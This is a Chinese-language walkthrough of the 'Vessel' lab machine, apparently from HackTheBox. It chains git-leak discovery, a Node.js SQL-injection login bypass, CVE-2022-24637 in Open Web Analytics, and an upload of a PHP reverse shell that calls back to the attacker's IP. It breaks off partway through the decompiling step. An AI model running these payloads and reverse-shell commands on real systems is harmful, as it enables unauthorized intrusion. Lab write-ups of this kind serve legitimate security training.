靶机——Vessel

admin 2024年11月13日21:57:09评论8 views字数 33529阅读111分45秒阅读模式

一、思路概要

1.信息收集发现Git信息泄露;2.分析Git信息发现Nodejs-SQL注入;3.Nodejs-SQL注入以admin身份登录主站;4.主站源码发现openwebanalytics子域;5.Google发现OpenWebAnalytics存在CVE-2022-24637;6.CVE-2022-24637以admin身份登录openwebanalytics子域并获取www-data用户shell;7./home/steven发现可疑加密PDF文件和密码生成程序;8.Python反编译密码生成程序破解PDF密码获取SSH用户密码;9.登录SSH用户查询拥有suid权限的文件发现CVE-2022-0811;10.CVE-2022-0811内核提权获取root用户权限。

二、信息收集

nmap扫端口

┌──(root💀kali)-[~/Desktop]└─# nmap -sC -sV 10.10.11.178    Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-20 21:58 EDTNmap scan report for 10.10.11.178Host is up (0.78s latency).Not shown: 998 closed portsPORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   3072 38:c2:97:32:7b:9e:c5:65:b4:4b:4e:a3:30:a5:9a:a5 (RSA)|   256 33:b3:55:f4:a1:7f:f8:4e:48:da:c5:29:63:13:83:3d (ECDSA)|_  256 a1:f1:88:1c:3a:39:72:74:e6:30:1f:28:b6:80:25:4e (ED25519)80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Vessel|_http-trane-info: Problem with XML parsing of /evox/aboutService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 32.56 seconds

开放端口:22(ssh)、80(http)

浏览器访问IP,页面如下

靶机——Vessel

ffuf枚举子目录

┌──(root💀kali)-[~/Desktop]└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://10.10.11.178/FUZZ        /'___  /'___           /'___              / __/ / __/  __  __  / __/                ,__\  ,__/ /    ,__                _/   _/  _    _/                _    _   ____/   _                 /_/    /_/   /___/    /_/              v2.0.0-dev________________________________________________ :: Method           : GET :: URL              : http://10.10.11.178/FUZZ :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 100 :: Matcher          : Response status: 200,301________________________________________________[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 576ms]    * FUZZ: dev[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 4584ms]    * FUZZ: css[Status: 200, Size: 2393, Words: 999, Lines: 52, Duration: 525ms]    * FUZZ: 404[Status: 200, Size: 4213, Words: 1929, Lines: 71, Duration: 288ms]    * FUZZ: login[Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 884ms]    * FUZZ: js[Status: 200, Size: 5830, Words: 3040, Lines: 90, Duration: 2728ms]    * FUZZ: register[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 2683ms]    * FUZZ: img[Status: 200, Size: 2335, Words: 991, Lines: 52, Duration: 302ms]    * FUZZ: 500[Status: 200, Size: 15030, Words: 5599, Lines: 244, Duration: 301ms]    * FUZZ: [Status: 200, Size: 3637, Words: 1604, Lines: 64, Duration: 374ms]    * FUZZ: reset[Status: 200, Size: 2400, Words: 1029, Lines: 53, Duration: 362ms]    * FUZZ: 401:: Progress: [26584/26584] :: Job [1/1] :: 293 req/sec :: Duration: [0:01:40] :: Errors: 2 ::

301:/dev/css/js/img

200:/404/login/register/500/reset/401

以上目录,只有/dev最可能存在线索,因为其他几个都是比较常规的功能点。但对/dev目录做枚举,没发现什么东西,就猜一下.git,但/dev/.git做了跳转,会跳转到404,就进一层对/dev/.git/的子目录做枚举

┌──(root💀kali)-[~/Desktop]└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -t 100 -mc 200,301 -u http://10.10.11.178/dev/.git/FUZZ         /'___  /'___           /'___              / __/ / __/  __  __  / __/                ,__\  ,__/ /    ,__                _/   _/  _    _/                _    _   ____/   _                 /_/    /_/   /___/    /_/              v2.0.0-dev________________________________________________ :: Method           : GET :: URL              : http://10.10.11.178/dev/.git/FUZZ :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 100 :: Matcher          : Response status: 200,301________________________________________________[Status: 301, Size: 193, Words: 7, Lines: 11, Duration: 280ms]    * FUZZ: info[Status: 200, Size: 2607, Words: 18, Lines: 19, Duration: 4971ms]    * FUZZ: index[Status: 301, Size: 193, Words: 7, Lines: 11, Duration: 6035ms]    * FUZZ: logs[Status: 301, Size: 199, Words: 7, Lines: 11, Duration: 6166ms]    * FUZZ: objects[Status: 301, Size: 195, Words: 7, Lines: 11, Duration: 379ms]    * FUZZ: hooks[Status: 200, Size: 139, Words: 13, Lines: 9, Duration: 7085ms]    * FUZZ: config[Status: 200, Size: 73, Words: 10, Lines: 2, Duration: 281ms]    * FUZZ: description[Status: 301, Size: 201, Words: 7, Lines: 11, Duration: 262ms]    * FUZZ: branches[Status: 301, Size: 193, Words: 7, Lines: 11, Duration: 279ms]    * FUZZ: refs:: Progress: [63087/63087] :: Job [1/1] :: 322 req/sec :: Duration: [0:02:58] :: Errors: 0 ::

确定存在Git信息泄露

三、Git信息泄露

Git信息泄露参考:https://www.freebuf.com/articles/web/318599.html

git-dumper工具把git相关文件下载到本地(也可以用GitHack),此处下载到./Vessel/git目录下

pip install git-dumpergit-dumper http://10.10.11.178/dev ./Vessel/git

靶机——Vessel

git log看一下git日志,看到邮箱[email protected]

┌──(root💀kali)-[~/Desktop]└─# cd Vessel/git┌──(root💀kali)-[~/Desktop/Vessel/git]└─# git log                                                                           commit 208167e785aae5b052a4a2f9843d74e733fbd917 (HEAD -> master)Author: Ethan <[email protected]>Date:   Mon Aug 22 10:11:34 2022 -0400    Potential security fixescommit edb18f3e0cd9ee39769ff3951eeb799dd1d8517eAuthor: Ethan <[email protected]>Date:   Fri Aug 12 14:19:19 2022 -0400    Security Fixescommit f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3Author: Ethan <[email protected]>Date:   Wed Aug 10 15:16:56 2022 -0400    Initial commit

tree命令看一下文件目录树(也可用GitKraken或其他审计类工具分析git文件)

┌──(root💀kali)-[~/Desktop]└─# tree -a Vessel/git/    Vessel/git/├── config│   └── db.js├── .git│   ├── COMMIT_EDITMSG│   ├── config│   ├── description│   ├── HEAD│   ├── hooks│   │   ├── applypatch-msg.sample│   │   ├── commit-msg.sample│   │   ├── post-update.sample│   │   ├── pre-applypatch.sample│   │   ├── pre-commit.sample│   │   ├── prepare-commit-msg.sample│   │   ├── pre-push.sample│   │   ├── pre-rebase.sample│   │   ├── pre-receive.sample│   │   └── update.sample│   ├── index│   ├── info│   │   └── exclude│   ├── logs│   │   ├── HEAD│   │   └── refs│   │       └── heads│   │           └── master│   ├── objects│   │   ├── 00│   │   │   └── 459be15fd7f38a86843ba1ce5cd6eabeb50a59│   │   ├── 0a│   │   │   └── ddd8d9ac7f6daf0d44ee78925d07de0a3dee44│   │   ├── ......│   │   │   └── ......│   │   └── fc│   │       └── 5ce922a9d1073d6c9cc34770c140cc3488f3fa│   ├── ORIG_HEAD│   └── refs│       └── heads│           └── master├── index.js├── public│   ├── css│   │   ├── style.css│   │   └── styles.css│   ├── img│   │   ├── bg-masthead.jpg│   │   ├── error-404-monochrome.svg│   │   ├── favicon.ico│   │   ├── portfolio│   │   │   └── thumbnails│   │   │       ├── 1.jpg│   │   │       ├── 2.jpg│   │   │       ├── 3.jpg│   │   │       ├── 4.jpg│   │   │       ├── 5.jpg│   │   │       ├── 6.jpg│   │   │       └── images.zip│   │   └── profile.jpg│   └── js│       ├── script.js│       └── scripts.js├── routes│   └── index.js└── views    ├── 401.ejs    ├── 404.ejs    ├── 500.ejs    ├── index.ejs    ├── login.ejs    ├── register.ejs    └── reset.ejs

./Vessel/git/config/db.js 看到数据库连接信息

┌──(root💀kali)-[~/Desktop]└─# cat ./Vessel/git/config/db.js                                                    var mysql = require('mysql');var connection = {        db: {        host     : 'localhost',        user     : 'default',        password : 'daqvACHKvRn84VdVp',        database : 'vessel'}};module.exports = connection;

./Vessel/git/routes/index.js看到登录页面的数据库查询语句

cat ./Vessel/git/routes/index.js
router.post('/api/login', function(req, res) {        let username = req.body.username;        let password = req.body.password;        if (username && password) {                connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {                        if (error) throw error;                        if (results.length > 0) {                                req.session.loggedin = true;                                req.session.username = username;                                req.flash('success', 'Succesfully logged in!');                                res.redirect('/admin');                        } else {                                req.flash('error', 'Wrong credentials! Try Again!');                                res.redirect('/login');                        }                        res.end();                });        } else {                res.redirect('/login');        }});

此处的SQL查询语句参数做了占位符处理,相当于是预编译

直接把这条语句复制到google搜索,找到如下文章,是Nodejs的SQL注入

四、Nodejs-SQL注入

参考:https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/

靶机——Vessel

意思大概是说,当构造传参payload为username=admin&password

输入密码查看隐藏内容

=1
时,由于Nodejs本身的特性,会将password
输入密码查看隐藏内容

=1
解析成一个对象,而不是解析成字符串,从而sql查询语句会变成如下

SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1

从而使username为admin,而password逻辑判断恒为1(布尔true),以此达到类似万能密码的效果。

开始操作

点击主页面右上角Login进入登录页面,随便输入用户名密码,同时Burp抓包

靶机——Vessel

修改请求包数据部分为username=admin&password

输入密码查看隐藏内容

=1

靶机——Vessel

连续点击两次Forward,回到浏览器,可看到以admin身份登录成功

靶机——Vessel

查看页面源代码,发现如下子域名

靶机——Vessel

将子域名写入本地hosts文件

echo "10.10.11.178 openwebanalytics.vessel.htb" >> /etc/hosts

浏览器打开openwebanalytics.vessel.htb

靶机——Vessel

登录框上下都写着Open Web Analytics,那就去google一下Open Web Analytics exploit,看到了这篇文章

From Single/Double Quote Confusion To RCE(CVE-2022-24637):https://devel0pment.de/?p=2494

五、CVE-2022-24637

靶机——Vessel

如图,文章开头介绍了这个CVE的两个漏洞点:

1.定义PHP缓存文件头的地方,如果用'<?phpn...',而不是"<?phpn...",会导致n不会被解析成换行符,那么<?phpn就不是一个有效的PHP文件头,所在的缓存文件就不会被解析成PHP代码,只会被解析成普通文本,从而导致缓存信息泄露。泄露的信息还可被用于重置管理员密码。

1.PHP文件写入,但需要管理员权限。通过构造POST请求更改日志路径和日志等级,将日志文件设置为PHP文件。通过同时提高日志级别并使用攻击者控制的数据生成事件,可以将 PHP 代码注入到该日志文件中。这导致可以执行任意PHP代码。

自己本地用php -a测试一下

php > echo '<?phpn/*wa0er*/n?>';<?phpn/*wa0er*/n?>php > echo "<?phpn/*wa0er*/n?>";<?php/*wa0er*/?>

如上结果可以看出单双引号解析的差异

┌──(root💀kali)-[~/Desktop]└─# cat test1.php<?phpnecho 9898;n?>┌──(root💀kali)-[~/Desktop]└─# php -f test1.php<?phpnecho 9898;n?>┌──(root💀kali)-[~/Desktop]└─# cat test2.php<?phpecho 9898;?>┌──(root💀kali)-[~/Desktop]└─# php -f test2.php9898

如上结果可以看出两种格式在文件中解析效果

漏洞所在源码:

https://github.com/Open-Web-Analytics/Open-Web-Analytics/blob/1.7.3/modules/base/classes/fileCache.php

关键代码如下

...class owa_fileCache extends owa_cache {    ...    var $cache_file_header = '<?phpn/*';    var $cache_file_footer = '*/n?>';    ...    function putItemToCacheStore($collection, $id) {            ...               $data = $this->cache_file_header.base64_encode(serialize($this->cache[$collection][$id])).$this->cache_file_footer;            ...                 $tcf_handle = @fopen($temp_cache_file, 'w');            ...                   fputs($tcf_handle, $data);                 ...

此处用的就是单引号,得到的缓存文件中的缓存数据格式如下

<?phpn/*先序列化然后base64编码的数据*/n?>

缓存文件名命名如下

...$cache_file = $collection_dir.$id.'.php';...    if (!@ rename($temp_cache_file, $cache_file)) {        ...

审计发现,默认id值为1,缓存文件拼接后的访问路径为(审计着重关注fileCache.phpcache.phpowa_coreAPI.phpowa_entity.phpuser.php

http://localhost/owa_web/owa-data/caches/1/owa_user/xxx.php“http://localhost/owa_web/”表示owa主页面所在路径,此处为http://openwebanalytics.vessel.htb/php文件名“xxx”表示“id+id值”的32位md5值,比如id=1,那么xxx为“id1”的md5值

靶机——Vessel

openwebanalytics.vessel.htb点击忘记密码,进入重置密码页面,刚才在git日志看到邮箱格式,尝试[email protected]不存在,尝试[email protected]

靶机——Vessel

靶机——Vessel

提示发送邮件到[email protected]

然后根据刚才的分析,id1的md5值如图

靶机——Vessel

缓存文件的访问路径如下

http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php

浏览器访问缓存文件,页面空白,查看页面源代码,获取到泄露的base64数据

靶机——Vessel

<?phpn/*Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJuYW1lIjtzOjk6ImJhc2UudXNlciI7czoxMDoicHJvcGVydGllcyI7YToxMDp7czoyOiJpZCI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MToiMSI7czo5OiJkYXRhX3R5cGUiO3M6NjoiU0VSSUFMIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjc6InVzZXJfaWQiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjoxO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjg6InBhc3N3b3JkIjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO047czo1OiJ2YWx1ZSI7czo2MDoiJDJ5JDEwJDk1MUhISkY0b0RqWmR6MGJTSWcxYnV1R2ZEYUwxVHpvcGt6d2U2SmRBZnZjU0hoLzd3WHNTIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjQ6InJvbGUiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjk6InJlYWxfbmFtZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTM6ImRlZmF1bHQgYWRtaW4iO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fXM6MTM6ImVtYWlsX2FkZHJlc3MiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjE2OiJhZG1pbkB2ZXNzZWwuaHRiIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjEyOiJ0ZW1wX3Bhc3NrZXkiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjMyOiJjNjNmZWQzOGU1OWIyNmU2OGY1YjJjZDc4ZWJkNmJlNSI7czo5OiJkYXRhX3R5cGUiO3M6MTI6IlZBUkNIQVIoMjU1KSI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxMzoiY3JlYXRpb25fZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxNjoibGFzdF91cGRhdGVfZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czo3OiJhcGlfa2V5IjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO3M6NzoiYXBpX2tleSI7czo1OiJ2YWx1ZSI7czozMjoiYTM5MGNjMDI0N2VjYWRhOWEyYjhkMjMzOGI5Y2E2ZDIiO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fX1zOjE2OiJfdGFibGVQcm9wZXJ0aWVzIjthOjQ6e3M6NToiYWxpYXMiO3M6NDoidXNlciI7czo0OiJuYW1lIjtzOjg6Im93YV91c2VyIjtzOjk6ImNhY2hlYWJsZSI7YjoxO3M6MjM6ImNhY2hlX2V4cGlyYXRpb25fcGVyaW9kIjtpOjYwNDgwMDt9czoxMjoid2FzUGVyc2lzdGVkIjtiOjE7czo1OiJjYWNoZSI7Tjt9*/n?>

Base64解码得序列化数据

O:8:"owa_user":5:{s:4:"name";s:9:"base.user";s:10:"properties";a:10:{s:2:"id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:1:"1";s:9:"data_type";s:6:"SERIAL";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:1;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:8:"password";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$951HHJF4oDjZdz0bSIg1buuGfDaL1Tzopkzwe6JdAfvcSHh/7wXsS";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:4:"role";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:9:"real_name";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:13:"default admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"email_address";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:16:"[email protected]";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"c63fed38e59b26e68f5b2cd78ebd6be5";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"creation_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:16:"last_update_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"api_key";O:12:"owa_dbColumn":11:{s:4:"name";s:7:"api_key";s:5:"value";s:32:"a390cc0247ecada9a2b8d2338b9ca6d2";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}}s:16:"_tableProperties";a:4:{s:5:"alias";s:4:"user";s:4:"name";s:8:"owa_user";s:9:"cacheable";b:1;s:23:"cache_expiration_period";i:604800;}s:12:"wasPersisted";b:1;s:5:"cache";N;}

关键点在于temp_passkey的值c63fed38e59b26e68f5b2cd78ebd6be5可用来重置admin的密码

靶机——Vessel

那么我们把URL末尾owa_do的值改为base.usersChangePassword,访问

http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword

靶机——Vessel

直接修改密码,然后点击Save Your New Password,会提示Error! Can't find your temporary passkey in the db.

一般思路应该是有个名字类似temp_passkey的参数,可以修改为我们刚才获得的temp_passkey值,以此来绕过修改密码时所需的认证步骤。

然后我们就在F12页面源码看到了如下图内容

靶机——Vessel

我们把hidden删除,可看到显示除了如下文本框

靶机——Vessel

输入新密码,然后输入刚才temp_passkey的值,点击Save Your New Password,成功修改(这里试了好几次,可能temp_passkey刷新比较快)

靶机——Vessel

用admin用户和刚修改的密码登录,登录成功

靶机——Vessel

已是admin用户,那就尝试用上面文章漏洞利用的第二阶段,进一步执行命令反弹shell,下载下面的exploit脚本到本地

git clone https://github.com/hupe1980/CVE-2022-24637

先开启nc监听

nc -lvnp 9898

用如下命令执行脚本

python3 exploit.py -u admin -p wa0er http://openwebanalytics.vessel.htb/ 10.10.16.7 9898

靶机——Vessel

如图成功获取www-data用户shell,但这个shell环境不稳定,换一个交互shell

下载如下脚本到本地

wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

修改ip和port为本地ip和端口

靶机——Vessel

本地开启http服务

python3 -m http.server 80

在靶机www-data用户的shell环境,从本地下载php-reverse-shell.php到/var/www/html/owa/owa-data/logs目录下

wget http://10.10.16.7/php-reverse-shell.php

靶机——Vessel

再次本地开启nc监听9898端口,然后本地运行如下命令触发反弹shell文件

curl http://openwebanalytics.vessel.htb/owa-data/logs/php-reverse-shell.php

靶机——Vessel

home目录下有两个用户,ethan和steven,进入/home/ethan目录没权限,于是进/home/steven目录

/home/steven目录下有一个passwordGenerator文件,在/home/steven/.notes有两个可疑文件:notes.pdfscreenshot.png

靶机——Vessel

把文件都复制到/var/www/html/owa/owa-data/logs/目录下,便于访问下载

cp notes.pdf /var/www/html/owa/owa-data/logs/cp screenshot.png /var/www/html/owa/owa-data/logs/cp passwordGenerator /var/www/html/owa/owa-data/logs/

回到本地,将三个文件下载下来

wget http://openwebanalytics.vessel.htb/owa-data/logs/notes.pdfwget http://openwebanalytics.vessel.htb/owa-data/logs/screenshot.pngwget http://openwebanalytics.vessel.htb/owa-data/logs/passwordGenerator

notes.pdf打开需要密码,screenshot.png如下,密码长度32位,这应该是passwordGenerator的运行界面

靶机——Vessel

执行如下命令,看到passwordGenerator是Windows下的可执行文件,PE32表示Portable Executable 32-bit

┌──(root💀kali)-[~/Desktop]└─# file passwordGeneratorpasswordGenerator: PE32 executable (console) Intel 80386, for MS Windows

passwordGenerator拖到Windows机器中,后缀加上.exe,双击运行,如下左侧可选择password长度,右侧有三个选项ALL CharactersAlphabetic(字母)、Alphanumeric(字母数字),前面拿到的截图是第一个选项

靶机——Vessel

点击Generate!,弹窗提示生成passwords前要更改默认values,看来是生成不了,得曲线救国,破解它

靶机——Vessel

六、Python反编译

在Windows用WinHex(其他16进制文本编辑器均可)打开这个可执行程序,在末尾可以发现pyinstaller编译的标志MEI

python反编译参考:https://blog.51cto.com/u_15060540/3888913

靶机——Vessel

下载pyinstxtractor脚本

git clone https://github.com/extremecoders-re/pyinstxtractor

passwordGenerator放到下好的脚本同目录下,运行如下命令

┌──(root💀kali)-[~/Desktop/pyinstxtractor]└─# python3 pyinstxtractor.py passwordGenerator [+] Processing passwordGenerator[+] Pyinstaller version: 2.1+[+] Python version: 3.7[+] Length of package: 34300131 bytes[+] Found 95 files in CArchive[+] Beginning extraction...please standby[+] Possible entry point: pyiboot01_bootstrap.pyc[+] Possible entry point: pyi_rth_subprocess.pyc[+] Possible entry point: pyi_rth_pkgutil.pyc[+] Possible entry point: pyi_rth_inspect.pyc[+] Possible entry point: pyi_rth_pyside2.pyc[+] Possible entry point: passwordGenerator.pyc[!] Warning: This script is running in a different Python version than the one used to build the executable.[!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling[!] Skipping pyz extraction[+] Successfully extracted pyinstaller archive: passwordGeneratorYou can now use a python decompiler on the pyc files within the extracted directory

会在当前文件夹自动生成名叫passwordGenerator_extracted的目录

靶机——Vessel

uncompyle6反编译目标.pyc文件

pip install uncompyle6uncompyle6 passwordGenerator.pyc

得到源码

